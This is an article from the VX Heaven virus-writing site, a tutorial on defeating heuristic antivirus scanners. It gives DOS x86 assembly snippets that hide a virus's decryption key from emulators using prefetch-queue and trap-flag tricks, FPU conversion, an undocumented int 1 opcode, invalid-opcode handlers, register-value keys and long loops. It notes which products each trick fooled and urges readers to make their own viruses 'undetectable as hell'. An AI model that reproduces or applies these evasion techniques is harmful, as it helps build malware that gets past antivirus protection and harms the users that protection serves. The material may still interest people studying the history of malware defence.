VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Anti heuristic techniques

Black Jack

[Back to index] [Comments]


In the early days of computer virii it was sufficient for AV programs to search for a set of virus patterns. But the number of virii increased more and more rapidly, and so the AV people invented something called heuristics to make our job harder. Heuristic scanners emulate the code of every program they scan in a so-called "virtual machine" and search for virus-like actions. So it should be *theoretically* possible to find every new virus. Theoretically, because of course these code analysers can't emulate the "real" CPU to 100%, and so not every virus gets actually cought. So in my humble opinion, it is the damn duty of us, the VX community, to search for the flaws in these heuristic engines and exploit them for our own goals. What I'm talking of are tricks to fool these engines, to make our newest creations invisible to those evil programs which want to find&kill our babies to. This is in my opinion one of the most interesting fields in virus programming (it's always a great feeling to outsmarten your enemies ;-) ). Here are the results of the research I've done into this topic in the last time.

Know your enemies!

If you want to make your virii anti-heuristic, the first thing you need are heuristic scanners to test your creations with. I recommend you to get as many as them as possible, because every one has different storng points and flaws. I'll give you a short list of scanners I use/test and where to get them:


All my tricks I am going to present to you are based on the same idea: The virus is encrypted, and you try to stop the code emulation before the scanner can decrypt the main virus body, or you hide the decryption key from the scanner. If you haven't worked with encryption yet, the key-hiding tricks may also work if you "encrypt" the registers (for example the function values for int 21h), although I haven't tested this. For example use for opening a file:

mov ax, 3D02h-key
add ax, key
int 21h


Older Processors, like the 386 or the 486 used something called the prefetch instruction queue (PIQ) to speed up the code execution. The idea behind this is that WHILE the CPU processes one instruction, the following instructions are already read into a CPU-internal buffer. Therefore a change in the code that follows the actual processed instruction has no effect! let's look at an example for this:

mov word ptr cs:[offset piq], 20CDh

You should think that the program terminates, because the two nops have been overwritten with an int 20h, but on a 386 or 486 this isn't the case, because the nops are already in the cpu! But on a Pentium/Pentium II the code will actually be overwritten and the program quits.

If you want to use this as an anti heuristic trick, you must know that this was a widely used against heuristic scanners in the days of the 386/486. But then the AVs improved and now they emulate the prefetch queue. Isn't that strange? They emulate something that isn't there anymore on modern processors! And this is what we use against them! Let's look at the example above again: on a pentium or a higher cpu the program will, as I already said, terminate, because those processors have no PIQ, but most AVs will think the code goes on with the two nops because of the PIQ. So here's what we'll do:

	mov word ptr [offset prefetch], 06C7h
	int 20h
	dw offset decrypt_key
	dw key

the int 20h will be overwritten, and instead there will be the instruction:

mov word ptr [decrypt_key], key

The AVs will think the program terminates because of the PIQ, but actually the program execution goes on with the setting of the decryption key in our decryption rotine. We only have one problem: this code will only work on Pentiums and upwards. To make it compatible with 486ers and below we'll have to clear the PIQ between the two instructions. Nothing more simple than that! You must also know that all jump instructions (jmp, call, loop, int...) clear the PIQ (quite necessary, if you think of it). But we can't simply place a JMP Short $+2 between the instructions, as it is used normally to clear the PIQ, because this would also be noticed by code emulators. But we can use a special feature of our CPU, the trap flat. If this flag is set, the CPU will call int 1 after every instruction, and remember, an int clears the PIQ. This is normally only used by debuggers, so the int 1 vector points to a simple IRET in the normal case, so we can use that without any problems. But anyhow, it's a good idea to clear the trap flag again afterwards. Here's the complete code that will run on any processor (assumes DS=CS):

pushf                                   ;flags on the stack
pop ax                                  ;flags from stack into AX
or ax, 100000000b                       ;set trap flag
push ax                                 ;put the modified flags in AX back...
popf                                    ;into the flag register via the stack
mov word ptr [offset prefetch], 06C7h   ;modify the following instruction
prefetch:                               ;here gets int1 called => clears PIQ
int 20h                                 ;This is never executed
dw offset decrypt_key                   ;where we want to write our key to
dw key                                  ;the actual decryption key

pushf                                   ;clear the trap flag again with
pop ax                                  ;the same method as above.
xor ax, 100000000b                      ;will also fool some debuggers
push ax

mov word ptr [offset prefetch], 20CDh   ;restore the int20h (next generations)

This trick fooled AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag), but not f-prot v2.27, Nod, Ikarus and Dr. Solomon's. f-prot v2.27 and Ikarus, on the other hand were fooled by the "normal" PIQ trick (which doesn't run on modern processors, you remember).


My favourite trick, because it is very simple but nevertheless the most effective one. It fools *ALL* tested scanners!!! The only thing you must know is that heuristic scanners don't emulate floating point instructions. Obviously AVs think that FPU instructions aren't used in virii anyhow. Let's prove they are wrong! Here's what we do: After encryption we convert the crypt key to a floating point number. To decrypt we'll have to convert it back to an integer:

mov decrypt_key, key                    ;save key into integer variable
fild decrypt_key                        ;load integer key into FPU and store
fstp decrypt_float_key                  ;it back as floating point number
mov decrypt_key, 0                      ;destroy the key (very important!)

fld decrypt_float_key                   ;load the key as floating point number
fistp decrypt_key                       ;into the FPU and store it back as int

As I said before, this trick is very easy and extremely effective, but if you use it, please consider that it has "high system requirements": If your virus is run on a machine without a FPU (386, 486SX), it will crash.


As I wrote before, int 1 is called after each instruction by the CPU if the trap flag is set. But of course you can also call interrupt 1 manually with the int command. This is generally assembled to 0CDh/001h. And this is quite strange, since there is a special opcode for int1 (0F1h), although this isn't documented. But "not documented" means also "not emulated by AVs", grin. So here's what we'll do: We set an own int 1 handler, which returns the decryption key and call it with the undocumented opcode, and AVs will have no idea what the decryption key is:

mov ax, 3501h                   ;get int vector 1, so we can restore it later
int 21h                         ;not really necessary, but a little bit saver
mov int1_segm, es
mov int1_offs, bx

mov ax, 2501h                   ;set int vector 1 to our own routine
mov dx, offset int1_handler     ;we assume DS=CS
int 21h

db 0F1h                         ;this will call our int 1 handler, which
mov decrypt_key, ax             ;returns the decryption key

mov ax, 2501h                   ;restore the original int 1 handler
mov dx, cs:int1_offs
mov ds, cs:int1_segm
int 21h


mov ax, key

Another funny thing you can do with this trick is simulate to quit the program. So here's what you do:


db 0F1h                         ;calls our int 1 handler (see above);
mov ax, 4c00h                   ;quit program
int 21h                         ;but... this code is never reached... ;-)


mov bx, sp                      ;modify return address, so the quit command
add word ptr ss:[bx], 5         ;is never executed.

This is also a very powerful trick. In my tests only f-prot v2.27 /PARANOID detected it. One disadvandace is, though, that it will only work on intel CPUs. On Cyrix or AMD processors, this nice undocumented opcode is not there, so your virus will crash on them. :-( If you want to see it in a full virus, feel free to take a look at my PR.H! virus.


Interrupt 6 is always called by the CPU if it finds an illegal instruction. We can use this in a way very similar to the int 1 trick: We set an int 6 handler, which returns our decryption key, and then we call it with an invalid instruction. But we have to consider one thing: the return offset in the int 6 handler will point to the invalid opcode, so we'll have to modify the return offset if we don't want to get in an endless loop.

mov ax, 3506h                   ;get int vector 6, so we can restore it later
int 21h                         ;not really necessary, but a little bit saver
mov int6_segm, es
mov int6_offs, bx

mov ax, 2506h                   ;set int vector 6 to our own routine
mov dx, offset int6_handler
int 21h

dw 0FFFFh                       ;an invalid opcode, will call our int 6
mov decrypt_key, ax             ;handler, which returns the decryption key

mov ax, 2506h                   ;restore the original int 6 handler
mov dx, cs:int6_offs
mov ds, cs:int6_segm
int 21h


mov ax, key
mov bx, sp
add word ptr ss:[bx], 2         ;modify return address - very important!
				;2 is the size of our invalid opcode.

Please note that this won't work in a windows dos-window, since windows gets control first in the case of an invalid opcode and terminates the program with an error message (thanks to Z0MBiE for that tip). So if you want to make your DOS file virii windows compatible, DON'T use this trick!!! In boot sector virii it should work fine, though.


I don't like delta offsets, and so I tried out one day to infect com files with a far jump at the beginning (plus some code to relocate it, of course):

mov ax, cs                      ;Relocate far Jump
add [offset com_seg], ax
JMP SHORT $+2                   ;Clear prefetch queue
db 0EAh                         ;OP-Code far Jump
dw offset start                 ;Offset
com_seg dw 0                    ;Segment (length of com file in paragraphs)
				;pad filesize to even paragraph!

It worked perfectly, and to my pleasant surprise I found out that this way of infection prevents AVP and TBSCAN from saying the file is infected. To see it in full context, have a look at my PR.H!-virus again.


In most DOS versions the registers carry the same value at the start of a program:

AX=BX=0000h (if the first/second command line parameter contain a illegal
drive letter, AL/AH are set to 0FFh)
DX=DS=ES=PSP segment address
BP=91Ch/912h depending on DOS/Windows version.

If you know that, you can use this values for encryption - many AVs don't emulate these values correctly, since most of them are undocumented. For example I used 91h (BP shr 4) in my tests to encrypt/decrypt the virus body. It fooled TBAV, DrWeb, f-prot v2.27 and Ikarus - well, but not the better ones like AVP and NOD. Of course you can also use other register values than BP, save your encryption key in the stack pointer of the EXE header, for example, then set up the correct stack in the beginning and decrypt using DI. Or you encrypt with not and decrypt with xor cl. Just be creative. But please remember that this is undocumented and not the same in all DOS versions. FreeDOS, for example, sets all general registers to zero in the beginning, so if you use this trick, be prepared that your virus will crash under those enviroments. Also, you'll have to combine this trick with other ones to fool all AVs, since it is not too powerful, as I already stated before. For this reasons, this trick is not one of my favourite ones. But anyhow, thanks go to bfr0vrfl0 for inspiration to that trick.


This is a very old trick, and unlike all other tricks presented in this article it wasn't found out by myself. But when I tried it out, I was very surprised to find that it still works so good. It fools Thunderbyte, Dr. Web and Ikarus. The idea is that these heuristic scanners only emulate the first instructions and then stop to speed up scanning. So we put a very long loop in the beginning of our virus, this is the "classic" form:

mov cx, 0FFFFh
jmp short over_it
mov ax, 4C00h                   ;actually this isn't needet, but it's the
int 21h                         ;"classic" implementation of this trick.
loop loop_head

You can also use different loop types, or you use, like in Opic's Odessa-B virus, very long decryption loops.


All this tricks presented here worked at the date of release of this document. It is of course possible that AVs mend out some flaws and some of these tricks won't work in the future anymore. Anyways, feel free to include this tricks in your own virii! Make them as undetectable as hell! Let's show those stupid AV dickheads how slobby their "protection" is!

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka